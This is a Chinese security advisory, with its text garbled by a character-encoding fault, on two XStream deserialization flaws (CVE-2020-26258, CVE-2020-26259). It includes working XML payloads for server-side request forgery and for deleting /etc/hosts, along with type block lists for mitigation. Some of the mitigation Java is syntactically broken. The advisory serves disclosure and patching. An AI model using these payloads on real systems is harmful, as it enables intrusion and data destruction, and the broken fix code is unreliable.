¡¾Îó²îͨ¸æ¡¿XStream·´ÐòÁл¯Îó²î
Ðû²¼Ê±¼ä 2020-12-140x00 Îó²î¸ÅÊö
²úÆ·Ãû³Æ | CVE ID | Àà ÐÍ | Îó²îÆ·¼¶ | Ô¶³ÌʹÓà |
XStream | CVE-2020-26258 | SSRF | ÖÐΣ | ÊÇ |
CVE-2020-26259 | í§ÒâÎļþɾ³ý | ¸ßΣ | ÊÇ |
0x01 Îó²îÏêÇé
2020Äê12ÔÂ13ÈÕ£¬£¬£¬£¬£¬XStream¹Ù·½Ðû²¼Ç徲ͨ¸æ£¬£¬£¬£¬£¬¹ûÕæÁËXStreamÖеÄÁ½¸ö·´ÐòÁл¯Îó²î£¨CVE-2020-26258ºÍCVE-2020-26259£©¡£¡£¡£¡£¡£ÏêÇéÈçÏ£º
XStreamЧÀÍÆ÷¶ËÇëÇóαÔìÎó²î£¨CVE-2020-26258£©
XStream·´ÐòÁл¯Ê±´¦Öóͷ£µÄÁ÷°üÀ¨ÓÃÓÚÖØÐ½¨ÉèÒÔǰдÈëµÄ¹¤¾ßµÄÀàÐÍÐÅÏ¢£¬£¬£¬£¬£¬Æä»ùÓÚÕâЩÀàÐÍÐÅÏ¢½¨ÉèеÄʵÀý¡£¡£¡£¡£¡£¹¥»÷Õß¿ÉÒÔͨ¹ýʹÓÃÒÑ´¦Öóͷ£µÄÊäÈëÁ÷²¢Ìæ»»»ò²åÈ빤¾ß£¬£¬£¬£¬£¬´Ó¶øÌᳫЧÀÍÆ÷¶ËαÔìÇëÇ󡣡£¡£¡£¡£¹¥»÷Õß¿ÉʹÓôËÎó²î´Óδ¹ûÕæµÄÄÚ²¿×ÊÔ´ÖÐÇëÇóÊý¾Ý¡£¡£¡£¡£¡£
Îó²î¸´ÏÖ£º
½¨ÉèÒ»¸ö¼òÆÓµÄHashMap²¢Ê¹ÓÃXStream½«ÆäÐòÁл¯ÎªXML£¨Ò²¿ÉʹÓÃJSONµÈÆäËüÊÜÖ§³ÖµÄÃûÌã©¡£¡£¡£¡£¡£ÓÃÒÔÏ´úÂëÌæ»»XML£¬£¬£¬£¬£¬È»ºóÓÃXStream·´ÐòÁл¯Ëü£º
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='javax.activation.URLDataSource'>
<url>http://localhost:8080/internal/:</url>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
XStream xstream = new XStream();
xstream.fromXML(xml);
Ò»µ©·´ÐòÁл¯XML£¬£¬£¬£¬£¬¾Í»áÖ´ÐÐPayload²¢ÍøÂçÀ´×ÔURLλÖõÄÊý¾Ý¡£¡£¡£¡£¡£
XStreamí§ÒâÎļþɾ³ýÎó²î£¨CVE-2020-26259£©
ÈôÊǹ¥»÷ÕßÓµÓÐʹÓÃÒÑ´¦Öóͷ£µÄÊäÈëÁ÷µÄÖ´ÐÐÀú³ÌµÄȨÏÞ£¬£¬£¬£¬£¬Ôò¹¥»÷Õß¿ÉÒÔͨ¹ýʹÓôËÎó²îɾ³ýÖ÷»úÉϵÄí§ÒâÎļþ¡£¡£¡£¡£¡£
Îó²î¸´ÏÖ£º
½¨ÉèÒ»¸ö¼òÆÓµÄHashMap²¢Ê¹ÓÃXStream½«ÆäÐòÁл¯ÎªXML£¨Ò²¿ÉʹÓÃJSONµÈÆäËüÊÜÖ§³ÖµÄÃûÌã©¡£¡£¡£¡£¡£ÓÃÒÔÏ´úÂëÌæ»»XML£¬£¬£¬£¬£¬È»ºóÓÃXStream·´ÐòÁл¯Ëü£º
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
<tempFile>/etc/hosts</tempFile>
</is>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>
XStream xstream = new XStream();
xstream.fromXML(xml);
Ò»µ©·´ÐòÁл¯XML£¬£¬£¬£¬£¬¾Í»áÖ´ÐÐPayload²¢É¾³ýÒýÓÃÎļþ¡£¡£¡£¡£¡£
Ó°Ïì¹æÄ££º
XStream : <=1.4.14
0x02 ´¦Öóͷ£½¨Òé
ÏÖÔÚXStreamÒѾÐÞ¸´ÁËÏà¹ØÎó²î£¬£¬£¬£¬£¬½¨ÒéÉý¼¶ÖÁ1.4.15°æ±¾¡£¡£¡£¡£¡£
ÏÂÔØÁ´½Ó£º
https://x-stream.github.io/changes.html#1.4.15
XStream 1.4.15ÒÔϰ汾¿ÉʹÓÃÈçϽâ¾öÒªÁ죺
XStream 1.4.14ÐèÔÚXStreamµÄ×°ÖôúÂëÖÐÌí¼Ó2ÐУº
xstream.denyTypes(new String[]{ "jdk.nashorn.internal.objects.NativeString" });
xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });
XStream 1.4.13ÐèÔÚXStreamµÄ×°ÖôúÂëÖÐÌí¼Ó3ÐУº
xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });
XStream 1.4.7-1.4.12ÈôÊÇÏ£ÍûʹÓÃXStreamµÄºÚÃûµ¥£¬£¬£¬£¬£¬ÐèÒª¾Ü¾øÒÔÏÂÀàÐÍ£º
xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, "jdk.nashorn.internal.objects.NativeString", java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });
xstream.denyTypesByRegExp(new String[]{ ".*\\$LazyIterator", "javax\\.crypto\\..*", ".*\\.ReadAllStream\\$FileStream" });
XStream 1.4.6¼°¸üµÍ°æ±¾¿ÉÒÔͨ¹ý×¢²á×Ô¼ºµÄConverterÀ´±ÜÃâJavaÔËÐÐʱµÄÒªº¦ÀàÐͱ»·´ÐòÁл¯¡£¡£¡£¡£¡£
xstream.registerConverter(new Converter() {
public boolean canConvert(Class type) {
return type != null && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class
|| type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || type.getName().equals("jdk.nashorn.internal.objects.NativeString")
|| type == java.lang.Void.class || void.class || Proxy.isProxy(type))
|| type.getName().startsWith("javax.crypto.") || type.getName().endsWith("$LazyIterator") || type.getName().endsWith(".ReadAllStream$FileStream"));
}
public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}
public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
throw new ConversionException("Unsupported type due to security reasons.");
}
}, XStream.PRIORITY_LOW);
0x03 ²Î¿¼Á´½Ó
http://x-stream.github.io/CVE-2020-26259.html
https://github.com/x-stream/xstream/security/advisories/GHSA-4cch-wxpw-8p28
https://github.com/x-stream/xstream/security/advisories/GHSA-jfvx-7wrx-43fh
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26259
0x04 ʱ¼äÏß
2020-12-13 XStreamÐû²¼Ç徲ͨ¸æ
2020-12-14 VSRCÐû²¼Ç徲ͨ¸æ
0x05 ¸½Â¼
CVSSÆÀ·Ö±ê×¼¹ÙÍø£ºhttp://www.first.org/cvss/